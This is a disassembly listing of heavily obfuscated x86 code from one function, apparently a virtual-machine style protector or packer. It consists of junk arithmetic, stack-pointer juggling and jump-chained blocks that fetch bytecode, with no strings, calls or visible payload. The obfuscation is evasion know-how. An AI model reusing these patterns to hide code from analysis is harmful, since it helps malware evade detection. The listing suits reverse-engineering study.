		mov	[esp-6E7Ch+arg_6E72+2],	eax
		push	[esp-6E7Ch+arg_6E76+2]
		mov	eax, [esp-6E78h+arg_6E6E+2]
		jmp	loc_5A1E24
; ---------------------------------------------------------------------------


loc_595CB9:				; CODE XREF: sub_581EE9+19A9Dj
		mov	ebp, 1E1B574Bh
		jmp	loc_592EB6
; ---------------------------------------------------------------------------


loc_595CC3:				; CODE XREF: sub_581EE9+18379j
		add	ebx, edi
		sub	ebx, 25425C1Ah
		push	ecx
		mov	ecx, eax
		jmp	loc_59F4AC
; ---------------------------------------------------------------------------


loc_595CD3:				; CODE XREF: sub_581EE9+24626j
		and	eax, edx
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_5A02A6
		sub	esp, 4
		mov	[esp+0], edx
		jmp	loc_595E64
; ---------------------------------------------------------------------------


loc_595CF5:				; CODE XREF: sub_581EE9+2142Ej
		mov	edx, [esp+0]
		add	esp, 4
		push	437h
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		jmp	loc_59A644
; ---------------------------------------------------------------------------


loc_595D16:				; CODE XREF: sub_581EE9+1630Fj
		mov	eax, 4E4842AAh
		push	ebp
		push	63D92022h
		jmp	loc_5935FD
; ---------------------------------------------------------------------------


loc_595D26:				; CODE XREF: sub_581EE9+12D2Fj
		shr	edx, 8
		neg	edx
		dec	edx
		not	edx
		push	ebx
		jmp	loc_5A1666
; ---------------------------------------------------------------------------


loc_595D34:				; CODE XREF: sub_581EE9+15009j
		add	ebp, ecx
		mov	ecx, [esp-6E80h+arg_6E76+2]
		jmp	loc_59ABFB
; ---------------------------------------------------------------------------


loc_595D3E:				; CODE XREF: sub_581EE9+1C8EAj
		xor	ebx, 557133ADh
		xor	ebx, 395F0A6Bh
		shl	ebx, 8
		sub	ebx, 6D665D80h
		push	eax
		mov	eax, 0EAD9C984h
		add	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp-6E84h+arg_6E7C]
		mov	esp, [esp-6E84h+arg_6E7C]
		add	esi, 67994A46h
		push	eax
		mov	eax, 6B535814h
		add	esi, eax
		pop	eax
		add	esi, ecx
		push	ebp
		mov	ebp, 2EBB40CDh
		add	ebp, 3C981747h
		sub	esi, ebp
		jmp	loc_59C11D
; ---------------------------------------------------------------------------


loc_595D8E:				; CODE XREF: sub_581EE9+242D7j
		mov	eax, [esp-6E80h+arg_6E76+2]
		add	esp, 4
		mov	esi, 3EE25C0Eh
		add	esi, 6653E07h
		jmp	loc_5945B8
; ---------------------------------------------------------------------------


loc_595DA4:				; CODE XREF: sub_581EE9+14CA2j
		add	eax, ebp
		pop	ebp
		mov	ebx, [esp-6E88h+arg_6E80]
		add	esp, 4
		xor	ebx, eax
		push	ebx
		jmp	loc_592063
; ---------------------------------------------------------------------------


loc_595DB5:				; CODE XREF: sub_581EE9+1E6C1j
		sub	bl, al
		push	5BD8h
		mov	[esp-6E84h+arg_6E7C], edx
		push	eax
		mov	ah, 6Dh
		mov	dl, ah
		mov	eax, [esp-6E80h+arg_6E76+2]
		jmp	loc_594D80
; ---------------------------------------------------------------------------


loc_595DCC:				; CODE XREF: sub_581EE9+11F0Cj
		sub	ebx, 0BEB3189h
		add	ebx, edi
		jmp	loc_5993E1
; ---------------------------------------------------------------------------


loc_595DD9:				; CODE XREF: sub_581EE9+196CEj
		add	edx, 19FE5A43h
		add	edx, ebp
		sub	edx, 19FE5A43h
		push	esi
		jmp	loc_59433D
; ---------------------------------------------------------------------------


loc_595DED:				; CODE XREF: sub_581EE9+1A454j
		push	7E90h
		mov	[esp-6E8Eh+arg_6E84+2],	esi
		push	ecx
		jmp	loc_59A5E2
; ---------------------------------------------------------------------------


loc_595DFB:				; CODE XREF: sub_581EE9+22A96j
		add	ebx, 4CEC534Eh
		jmp	loc_5A471E
; ---------------------------------------------------------------------------


loc_595E06:				; CODE XREF: sub_581EE9+11497j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	edx
		push	esp
		jmp	loc_596BFF
; ---------------------------------------------------------------------------


loc_595E15:				; CODE XREF: sub_581EE9+19B01j
		mov	eax, 0BC741FAh
		jmp	loc_5A1183
; ---------------------------------------------------------------------------


loc_595E1F:				; CODE XREF: sub_581EE9+242FFj
		push	eax
		mov	eax, 4
		add	dword ptr [esp+4], 7EA76790h
		jmp	loc_59F79B
; ---------------------------------------------------------------------------


loc_595E32:				; CODE XREF: sub_581EE9+12C9Bj
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A1012
; ---------------------------------------------------------------------------


loc_595E3D:				; CODE XREF: sub_581EE9+12E3Ej
		pop	edx
		pop	edx
		xchg	esi, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]


loc_595E45:				; CODE XREF: sub_581EE9+23B57j
		push	edx
		push	ebx
		xor	[esp-6EA8h+arg_6E9E+2],	13DD0DEFh
		push	[esp-6EA8h+arg_6E9E+2]
		mov	edx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		push	69B5h
		jmp	loc_5A2B6D
; ---------------------------------------------------------------------------


loc_595E64:				; CODE XREF: sub_581EE9+13E07j
		push	1Ch
		jmp	loc_5A6BE5
; ---------------------------------------------------------------------------


loc_595E6E:				; CODE XREF: sub_581EE9+151F1j
		push	1892h
		mov	[esp-6E6Ch+arg_6E64], eax
		mov	eax, 3457305Eh
		push	ecx
		sub	esp, 4
		mov	[esp-6E64h+arg_6E5C], ebx
		push	3B157E2Bh
		pop	ebx
		push	edi
		jmp	loc_59D7CE
; ---------------------------------------------------------------------------


loc_595E8E:				; CODE XREF: sub_581EE9+1C6FBj
		mov	esi, 2BDE5115h
		sub	esi, 1
		sub	esi, 4B500800h
		jmp	loc_5998B4
; ---------------------------------------------------------------------------


loc_595EA1:				; CODE XREF: sub_581EE9+22AFDj
		push	edi
		push	502D35DEh
		pop	edi
		xor	edi, 76546880h
		not	edi
		xor	edi, 0B32AC90Dh
		push	edi
		add	[esp-6E58h+arg_6E50], 0ABE57CBh
		jmp	loc_5A143B
; ---------------------------------------------------------------------------


loc_595EC3:				; CODE XREF: sub_581EE9+23748j
		push	[esp-6E58h+arg_6E54]
		pop	eax
		jmp	loc_5A186C
; ---------------------------------------------------------------------------


loc_595ECD:				; CODE XREF: sub_581EE9+1B36Fj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp-6E5Ch+arg_6E54]
		pop	esp
		push	[esp-6E60h+arg_6E58]
		pop	edi
		jmp	loc_597C87
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp-6E5Ch+arg_6E54], ecx
		mov	ecx, 3Ch
		jmp	loc_5940CD
; ---------------------------------------------------------------------------


loc_595EF2:				; CODE XREF: sub_581EE9+1DF4Cj
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	ebp, 44C46D67h
		add	ebp, edx
		jmp	loc_59DAA2
; ---------------------------------------------------------------------------


loc_595F09:				; CODE XREF: sub_581EE9+19BAEj
		mov	ebx, 7A5B3215h
		shl	ebx, 3
		push	ecx
		mov	ecx, 0D2D990ACh
		jmp	loc_593D62
; ---------------------------------------------------------------------------


loc_595F1C:				; CODE XREF: sub_581EE9+1291Aj
		pop	edi
		xor	ebp, [esp-6E5Ah+arg_6E50+2]
		xor	[esp-6E5Ah+arg_6E50+2],	ebp
		xor	ebp, [esp-6E5Ah+arg_6E50+2]
		jmp	loc_59A17B
; ---------------------------------------------------------------------------


loc_595F2B:				; CODE XREF: sub_581EE9+23B13j
		xor	ebp, [esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		push	edi
		mov	edi, esp
		push	7202h
		mov	[esp-6E52h+arg_6E48+2],	eax
		push	7EE2h
		mov	[esp-6E4Eh+arg_6E44+2],	esi
		mov	esi, 5A096708h
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 0C7C7B2D4h
		mov	eax, edx
		pop	edx
		add	eax, 26AA1CEFh
		sub	eax, esi
		sub	eax, 26AA1CEFh
		pop	esi
		push	edi
		push	eax
		jmp	loc_59F919
; ---------------------------------------------------------------------------


loc_595F6E:				; CODE XREF: sub_581EE9+1CEFEj
		add	esp, 4
		add	bl, dl
		mov	edx, [esp-6E4Eh+arg_6E44+2]
		add	esp, 4
		add	dh, 0E3h
		sub	dh, bl
		sub	dh, 0E3h
		pop	ebx
		xor	al, dh
		mov	edx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		jmp	loc_5A05A4
; ---------------------------------------------------------------------------


loc_595F95:				; CODE XREF: sub_581EE9+12B89j
		push	esi
		mov	esi, 556635E0h
		mov	ebx, esi
		pop	esi
		push	ebx
		mov	esi, [esp-6E60h+arg_6E58]
		add	esp, 4
		mov	ebx, [esp-6E64h+arg_6E5C]
		add	esp, 4
		add	eax, esi
		jmp	loc_598478
; ---------------------------------------------------------------------------


loc_595FB8:				; CODE XREF: sub_581EE9+14AB4j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59FB06
; ---------------------------------------------------------------------------


loc_595FC9:				; CODE XREF: sub_581EE9+21A81j
		push	[esp-6E68h+arg_6E60]
		mov	edx, [esp-6E64h+arg_6E5C]
		add	esp, 4
		push	268h
		jmp	loc_5A68C3
; ---------------------------------------------------------------------------


loc_595FDC:				; CODE XREF: sub_581EE9+21B7Ej
		pop	ecx
		xor	edi, 18DF1364h
		or	edi, 1DC93644h
		and	edi, 7DCE5F96h
		push	ebx
		push	0C5Ah
		jmp	loc_5A2B9D
; ---------------------------------------------------------------------------


loc_595FFA:				; CODE XREF: sub_581EE9+17892j
		sub	esp, 4
		jmp	loc_59AA15
; ---------------------------------------------------------------------------


loc_596002:				; CODE XREF: sub_581EE9+1E867j
		sub	esi, 38F05034h
		jmp	loc_59B887
; ---------------------------------------------------------------------------


loc_59600D:				; CODE XREF: sub_581EE9+101ADj
		pop	esp
		sub	ecx, 3F1B5792h
		push	ebp
		mov	ebp, 4A392B83h
		or	ebp, 544F2336h
		and	ebp, 7EC61527h
		add	ebp, 1
		shl	ebp, 5
		add	ebp, 5F233605h
		add	ebp, 0DEDFBBEFh
		sub	ecx, 6F2D4B6Bh
		sub	ecx, ebp
		jmp	loc_5A377C
; ---------------------------------------------------------------------------
		pop	ecx
		push	edx
		jmp	loc_597B4F
; ---------------------------------------------------------------------------


loc_59604F:				; CODE XREF: sub_581EE9+22F5Fj
		push	edx
		mov	edx, 87F3358h
		sub	edx, 0FFFFFFFFh
		xor	edx, 87F3358h
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], edx
		pop	ecx
		mov	edx, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		or	[edi+1Ch], ecx
		mov	ecx, [esp-6EA2h+arg_6E9A]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], ebp
		push	edi
		mov	edi, 43211415h
		sub	edi, 49DA323Eh
		jmp	loc_5A2D84
; ---------------------------------------------------------------------------


loc_59609A:				; CODE XREF: sub_581EE9+21E39j
		add	ebp, 0BA3AF74Bh
		and	esi, ebp
		pop	ebp
		xor	esi, 6D3313C7h
		jmp	loc_59D7ED
; ---------------------------------------------------------------------------


loc_5960AE:				; CODE XREF: sub_581EE9+18FFBj
		mov	bh, 0C6h
		xor	ah, bh
		mov	bx, word ptr [esp-6E96h+arg_6E8E]
		add	esp, 2
		add	bl, 0C1h
		sub	bl, ah
		jmp	loc_5A38D2
; ---------------------------------------------------------------------------


loc_5960C6:				; CODE XREF: sub_581EE9+18D18j
		xor	eax, ebp
		pop	ebp
		sub	esi, 580519BFh
		add	esi, 6845456Dh
		add	esi, eax
		sub	esi, 6845456Dh
		jmp	loc_5A4963
; ---------------------------------------------------------------------------


loc_5960E2:				; CODE XREF: sub_581EE9+1D510j
		sub	eax, 4
		xchg	eax, [esp-6E9Eh+arg_6E96]
		mov	esp, [esp-6E9Eh+arg_6E96]
		jmp	loc_59BDEE
; ---------------------------------------------------------------------------


loc_5960F2:				; CODE XREF: sub_581EE9+16434j
		sub	[esp-6E9Eh+arg_6E96], 3E9A052Bh
		jmp	loc_5A6DF2
; ---------------------------------------------------------------------------


loc_5960FE:				; CODE XREF: sub_581EE9+131DBj
		mov	[esp-6E9Ah+arg_6E92], ebx
		jmp	loc_59C392
; ---------------------------------------------------------------------------


loc_596106:				; CODE XREF: sub_581EE9+11B46j
		mov	eax, 2
		sub	esi, 2F602F0Ah
		sub	esi, 483F386Bh
		add	esi, eax
		add	esi, 483F386Bh
		push	1816h
		mov	[esp-6E86h+arg_6E7C+2],	edx
		push	ecx
		jmp	loc_5A0A6A
; ---------------------------------------------------------------------------


loc_59612D:				; CODE XREF: sub_581EE9+1CC91j
		add	esp, 4
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59613B:				; CODE XREF: sub_581EE9+2207Cj
		sub	esi, 4
		xchg	esi, [esp-6E8Ah+arg_6E80+2]
		jmp	loc_593B30
; ---------------------------------------------------------------------------


loc_596146:				; CODE XREF: sub_581EE9+2302Fj
		pop	edi
		jmp	loc_597BA0
; ---------------------------------------------------------------------------


loc_59614C:				; CODE XREF: sub_581EE9+1EC14j
		add	eax, 4
		xchg	eax, [esp-6E8Eh+arg_6E84+2]
		pop	esp
		jmp	loc_5A4269
; ---------------------------------------------------------------------------


loc_59615A:				; CODE XREF: sub_581EE9+198F7j
		sub	eax, 7FB17013h
		sub	eax, esi
		add	eax, 7FB17013h
		pop	esi


loc_596167:				; DATA XREF: sub_581EE9:off_590413o
		push	1DDh
		jmp	loc_5A1A31
; ---------------------------------------------------------------------------


loc_596171:				; CODE XREF: sub_581EE9+12550j
		or	ebp, edi
		pop	edi
		sub	ebp, 7F8B7FB7h
		mov	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-6EA2h+arg_6E9A]
		mov	esp, [esp-6EA2h+arg_6E9A]
		mov	eax, [esp-6EA2h+arg_6E9A]
		push	6E03h
		mov	[esp-6E9Eh+arg_6E96], ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 607B5851h
		jmp	loc_5A380E
; ---------------------------------------------------------------------------


loc_59619E:				; CODE XREF: sub_581EE9+1F364j
		mov	edx, [esp-6E9Ah+arg_6E92]
		jmp	loc_5A56EA
; ---------------------------------------------------------------------------


loc_5961A6:				; CODE XREF: sub_581EE9+1CC74j
		add	eax, 2
		xor	eax, [esp-6E9Ah+arg_6E92]
		xor	[esp-6E9Ah+arg_6E92], eax
		xor	eax, [esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Ah+arg_6E92]
		jmp	loc_5A5A01
; ---------------------------------------------------------------------------


loc_5961BA:				; CODE XREF: sub_581EE9+1CBFBj
		pop	edx
		jmp	loc_5A0FA3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp-6EA0h+arg_6E96+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5961D0:				; CODE XREF: sub_581EE9+222CFj
		sub	al, 0D4h
		jmp	loc_5A4947
; ---------------------------------------------------------------------------


loc_5961D7:				; CODE XREF: sub_581EE9+1B0F2j
		add	esi, ecx
		jmp	loc_59BF8D
; ---------------------------------------------------------------------------


loc_5961DE:				; CODE XREF: sub_581EE9+10582j
		add	edi, ebx
		add	edi, 32DD4BCCh
		push	eax
		mov	eax, 66940AEAh
		add	edi, eax
		pop	eax
		sub	edi, 0C783BFEh
		mov	ebx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_59FF23
; ---------------------------------------------------------------------------


loc_5961FD:				; CODE XREF: sub_581EE9+15D86j
		push	77BDh
		mov	[esp-6EA4h+arg_6E9A+2],	ebx
		mov	bl, 44h
		and	bl, 91h
		xor	bl, 0F9h
		sub	al, 0A4h
		jmp	loc_5A2125
; ---------------------------------------------------------------------------


loc_596214:				; CODE XREF: sub_581EE9+1711Aj
		sub	edx, 1
		push	edx
		not	[esp-6EA0h+arg_6E96+2]
		pop	edx
		push	edi
		mov	edi, 10E15417h
		xor	edx, edi
		pop	edi
		sub	edx, 80A6356h
		push	esi
		jmp	loc_5A0B81
; ---------------------------------------------------------------------------


loc_596234:				; CODE XREF: sub_581EE9+114C2j
		mov	ebx, [esp-6E8Eh+arg_6E84+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_595BB1
; ---------------------------------------------------------------------------


loc_596248:				; CODE XREF: sub_581EE9+10A9Bj
		pop	esi
		jmp	loc_5A26BC
; ---------------------------------------------------------------------------


loc_59624E:				; CODE XREF: sub_581EE9+1E6B6j
		push	4B6Ch
		mov	[esp-6EA4h+arg_6E9A+2],	edx
		mov	dl, bh
		push	ebx
		mov	bl, dl
		mov	ah, bl
		pop	ebx
		pop	edx
		mov	ebx, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		jmp	loc_59464D
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_593A51
		push	79C7h
		mov	[esp-6EA8h+arg_6E9E+2],	ecx
		jmp	loc_5A0743
; ---------------------------------------------------------------------------


loc_596282:				; CODE XREF: sub_581EE9+16733j
		pop	ecx
		push	1636h
		jmp	loc_5A4700
; ---------------------------------------------------------------------------


loc_59628D:				; CODE XREF: sub_581EE9+207B9j
		mov	dl, cl
		mov	bh, dl
		pop	edx
		jmp	loc_5A32DE
; ---------------------------------------------------------------------------


loc_596297:				; CODE XREF: sub_581EE9+1C529j
		pop	esi
		push	4D8Dh
		mov	[esp-6EACh+arg_6EA4], esi
		push	esp
		pop	esi
		push	ecx
		push	edi
		mov	edi, 2B54575h
		xor	edi, 7E8D7E39h
		shr	edi, 8
		or	edi, 63EF2BD2h
		jmp	loc_5A1AA9
; ---------------------------------------------------------------------------


loc_5962BD:				; CODE XREF: sub_581EE9+18B92j
		pop	ebp
		mov	ecx, esi
		mov	esi, [esp-6EA8h+arg_6E9E+2]
		push	eax
		jmp	loc_599923
; ---------------------------------------------------------------------------


loc_5962C9:				; CODE XREF: sub_581EE9+1760Ej
		mov	esi, ebp
		pop	ebp
		mov	edi, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		mov	ebp, [esp-6EACh+arg_6EA4]
		add	esp, 4
		push	ebp
		mov	ebp, 7D9B3B56h
		jmp	loc_59929E
; ---------------------------------------------------------------------------


loc_5962E6:				; CODE XREF: sub_581EE9+16B8Aj
		mov	word ptr [esp-6EACh+arg_6EA4], bx
		mov	bl, 7Bh
		mov	al, bl
		pop	bx
		jmp	loc_595A4D
; ---------------------------------------------------------------------------


loc_5962F5:				; CODE XREF: sub_581EE9+21B71j
		mov	eax, 4E0A0056h
		and	edi, eax
		pop	eax
		xor	edi, 4E0A0012h
		jmp	loc_5971FD
; ---------------------------------------------------------------------------


loc_596308:				; CODE XREF: sub_581EE9+16C4Fj
		xor	[esp-6EB2h+arg_6EA8+2],	ecx
		xor	ecx, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_59EFFA
; ---------------------------------------------------------------------------


loc_596313:				; CODE XREF: sub_581EE9+1F8C3j
		mov	edi, [esp-6EB2h+arg_6EA8+2]
		jmp	loc_59A8E6
; ---------------------------------------------------------------------------


loc_59631B:				; CODE XREF: sub_581EE9+1EC8Ej
		neg	ebp
		push	esi
		mov	esi, 60990FBDh
		neg	esi
		add	esi, 60C244E3h
		sub	ebp, 10964F06h
		sub	ebp, esi
		jmp	loc_5A10B9
; ---------------------------------------------------------------------------


loc_596338:				; CODE XREF: sub_581EE9+1A08Bj
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EB2h+arg_6EA8+2],	esi
		mov	esi, 117F2E4Ah
		xor	edi, esi
		pop	esi
		or	ebp, edi
		mov	edi, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		push	esi
		mov	esi, 5F7D2A6Fh
		xor	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_59D0F9
; ---------------------------------------------------------------------------


loc_59636C:				; CODE XREF: sub_581EE9+16BD2j
		push	ecx
		jmp	loc_59DD32
; ---------------------------------------------------------------------------


loc_596372:				; CODE XREF: sub_581EE9+1BD08j
		mov	[esp-6EB2h+arg_6EA8+2],	ecx
		push	esp
		pop	ecx
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_59C7D6
; ---------------------------------------------------------------------------


loc_596384:				; CODE XREF: sub_581EE9+1A22Fj
		not	bh
		and	bh, 0A7h
		sub	bh, 56h
		sub	ch, bh
		pop	ebx
		add	al, ch
		mov	ecx, [esp-6EB2h+arg_6EA8+2]
		add	esp, 4
		jmp	loc_5A0CC4
; ---------------------------------------------------------------------------


loc_59639C:				; CODE XREF: sub_581EE9+132E9j
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp-6EAAh+arg_6EA4+2]
		pop	edx
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		mov	[esp-6EAEh+arg_6EA4+2],	ebx
		push	ecx
		jmp	loc_598EAE
; ---------------------------------------------------------------------------


loc_5963C8:				; CODE XREF: sub_581EE9+13A8Cj
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59507F
; ---------------------------------------------------------------------------


loc_5963D5:				; CODE XREF: sub_581EE9+1F1F8j
		sub	ebp, ecx
		mov	ecx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		jmp	loc_5A3841
; ---------------------------------------------------------------------------


loc_5963E2:				; CODE XREF: sub_581EE9+1AC79j
		add	esp, 4
		add	esp, 4
		shl	esi, 4
		push	esi
		dec	[esp-6EA2h+arg_6E9A]
		mov	esi, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		jmp	loc_59A18F
; ---------------------------------------------------------------------------


loc_5963FD:				; CODE XREF: sub_581EE9+13978j
		shr	si, 2
		and	si, 62F5h
		sub	si, 77F2h
		add	si, 0AC6Ah
		mov	ax, si
		pop	esi
		jmp	loc_596A87
; ---------------------------------------------------------------------------


loc_596419:				; CODE XREF: sub_581EE9+10BECj
		push	edx
		push	ebp
		jmp	loc_59A353
; ---------------------------------------------------------------------------


loc_596420:				; CODE XREF: sub_581EE9+1FF09j
		mov	[esp-6E9Eh+arg_6E96], edx
		mov	edx, 41C11DB7h
		or	ebp, edx
		pop	edx
		sub	ebp, 30C461B6h
		inc	ebp
		push	1899h
		mov	[esp-6E9Eh+arg_6E96], edi
		jmp	loc_5A01EC
; ---------------------------------------------------------------------------


loc_59643F:				; CODE XREF: sub_581EE9+1EEF1j
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebx
		mov	ebx, 2
		add	ebp, ebx
		jmp	loc_5A17B9
; ---------------------------------------------------------------------------


loc_596451:				; CODE XREF: sub_581EE9+17B14j
		push	[esp-6E9Ah+arg_6E92]
		jmp	loc_5965C6
; ---------------------------------------------------------------------------


loc_596459:				; CODE XREF: sub_581EE9+10343j
		push	small 6504h
		mov	word ptr [esp-6EA6h+arg_6E9E], ax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_596466:				; CODE XREF: sub_581EE9+1C248j
		mov	[esp], ecx
		push	edx
		jmp	loc_59931C
; ---------------------------------------------------------------------------


loc_59646F:				; CODE XREF: sub_581EE9+1F5A2j
		mov	al, 4Ah
		sub	dh, al
		mov	ax, word ptr [esp-6EA2h+arg_6E9A]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A15DA
; ---------------------------------------------------------------------------


loc_596485:				; CODE XREF: sub_581EE9+16325j
		add	[ecx], edx
		push	[esp-6E9Eh+arg_6E96]
		jmp	loc_5A27C9
; ---------------------------------------------------------------------------


loc_59648F:				; CODE XREF: sub_581EE9+1119Dj
		sub	[esp-6E4Eh+arg_6E44+2],	2EE563FCh
		pop	ebx
		add	ebx, 2EE563FCh
		jmp	loc_593751
; ---------------------------------------------------------------------------


loc_5964A2:				; CODE XREF: sub_581EE9+15882j
		push	eax
		mov	eax, 239D24A8h
		add	eax, 477A4336h
		mov	edx, eax
		jmp	loc_5A334E
; ---------------------------------------------------------------------------
		lodsb
		add	al, 5Ch
		add	al, 0D9h
		sub	al, 0E7h
		add	al, 4Fh
		add	al, bl
		sub	al, 4Fh
		jmp	loc_5A6222
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E4Eh+arg_6E44+2]
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp-6E46h+arg_6E3E], ebx
		push	eax
		mov	eax, 2D1E15C1h
		sub	esp, 4
		mov	[esp-6E3Eh+arg_6E36], eax
		xor	[esp-6E3Eh+arg_6E36], 17FD56ADh
		pop	ebx
		xor	ebx, 17FD56ADh
		pop	eax
		sub	esp, 4
		mov	[esp-6E42h+arg_6E3A], esi
		push	ebx
		mov	ebx, 1F400640h
		dec	ebx
		jmp	loc_5939F7
; ---------------------------------------------------------------------------


loc_596503:				; CODE XREF: sub_581EE9+12ED0j
		pop	ecx
		shl	ecx, 7
		sub	ecx, 706F7614h
		mov	eax, ecx
		mov	ecx, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		add	ebx, eax
		jmp	loc_5A2AFD
; ---------------------------------------------------------------------------


loc_59651F:				; CODE XREF: sub_581EE9+1D59Cj
		add	[esp-6EB2h+arg_6EA8+2],	4
		jmp	loc_594EC6
; ---------------------------------------------------------------------------


loc_59652B:				; CODE XREF: sub_581EE9+1030Dj
		push	[esp-6EA4h+arg_6E9A+2]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6EA0h+arg_6E96+2]
		pop	esp
		push	62CEh
		mov	[esp-6EA0h+arg_6E96+2],	esi
		mov	esi, esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E9Ch+arg_6E92+2]
		mov	esp, [esp-6E9Ch+arg_6E92+2]
		mov	[esp-6E9Ch+arg_6E92+2],	eax
		push	esi
		push	2723633h
		pop	esi
		jmp	loc_5A32D1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E98h+arg_6E8E+2]
		jmp	loc_598AA1
; ---------------------------------------------------------------------------


loc_596579:				; CODE XREF: sub_581EE9+1E299j
		add	edi, 4
		jmp	loc_5A26F1
; ---------------------------------------------------------------------------


loc_596584:				; CODE XREF: sub_581EE9+22174j
		mov	[esp-6E98h+arg_6E8E+2],	edx
		mov	dh, 11h
		mov	bh, dh
		pop	edx
		jmp	loc_5A5740
; ---------------------------------------------------------------------------


loc_596591:				; CODE XREF: sub_581EE9+238D2j
		xor	ebp, [esp-6E9Ch+arg_6E92+2]
		mov	esp, [esp-6E9Ch+arg_6E92+2]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5965A3:				; CODE XREF: sub_581EE9+17CB4j
		push	eax
		mov	eax, esp
		jmp	loc_5A588D
; ---------------------------------------------------------------------------


loc_5965AB:				; CODE XREF: sub_581EE9+1494Dj
		sub	eax, edi
		pop	edi
		add	esi, eax
		jmp	loc_5A31FA
; ---------------------------------------------------------------------------


loc_5965B5:				; CODE XREF: sub_581EE9+160D0j
		pop	eax
		sub	al, 82h
		add	al, ch
		jmp	loc_59AC8C
; ---------------------------------------------------------------------------


loc_5965BF:				; CODE XREF: sub_581EE9+15E8Bj
		sub	edi, eax
		jmp	loc_59B5C4
; ---------------------------------------------------------------------------


loc_5965C6:				; CODE XREF: sub_581EE9+1456Bj
		mov	edi, [esp-6E96h+arg_6E8E]
		jmp	loc_59822C
; ---------------------------------------------------------------------------


loc_5965CE:				; CODE XREF: sub_581EE9+185FEj
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp-6E9Ah+arg_6E92]
		mov	esp, [esp-6E9Ah+arg_6E92]
		jmp	loc_592F76
; ---------------------------------------------------------------------------


loc_5965DC:				; CODE XREF: sub_581EE9+12A64j
		add	esp, 4
		jmp	loc_5A5B90
; ---------------------------------------------------------------------------


loc_5965E4:				; CODE XREF: sub_581EE9+12355j
		add	esp, 4
		sub	ax, di
		pop	edi
		jmp	loc_5A249C
; ---------------------------------------------------------------------------


loc_5965F3:				; CODE XREF: sub_581EE9+14F0Aj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5965F8:				; CODE XREF: sub_581EE9+1B899j
		dec	ebp
		dec	ebp
		xor	ebp, 66966329h
		dec	ebp
		jmp	loc_597EE3
; ---------------------------------------------------------------------------


loc_596606:				; CODE XREF: sub_581EE9+13172j
		mov	ebp, 4
		jmp	loc_59668C
; ---------------------------------------------------------------------------


loc_596610:				; CODE XREF: sub_581EE9+1F97Ej
		mov	[esp-6EA2h+arg_6E9A], ebp
		push	ecx
		mov	ecx, 4
		push	ecx
		sub	[esp-6E9Ah+arg_6E92], 270F2FDFh
		pop	ebp
		add	ebp, 270F2FDFh
		pop	ecx
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_5A6BCE
; ---------------------------------------------------------------------------


loc_596634:				; CODE XREF: sub_581EE9+19F0Bj
		xor	ebx, [esp-6EA6h+arg_6E9E]
		jmp	loc_59E3D1
; ---------------------------------------------------------------------------


loc_59663C:				; CODE XREF: sub_581EE9+1E1AEj
		shr	eax, 4
		jmp	loc_596C77
; ---------------------------------------------------------------------------


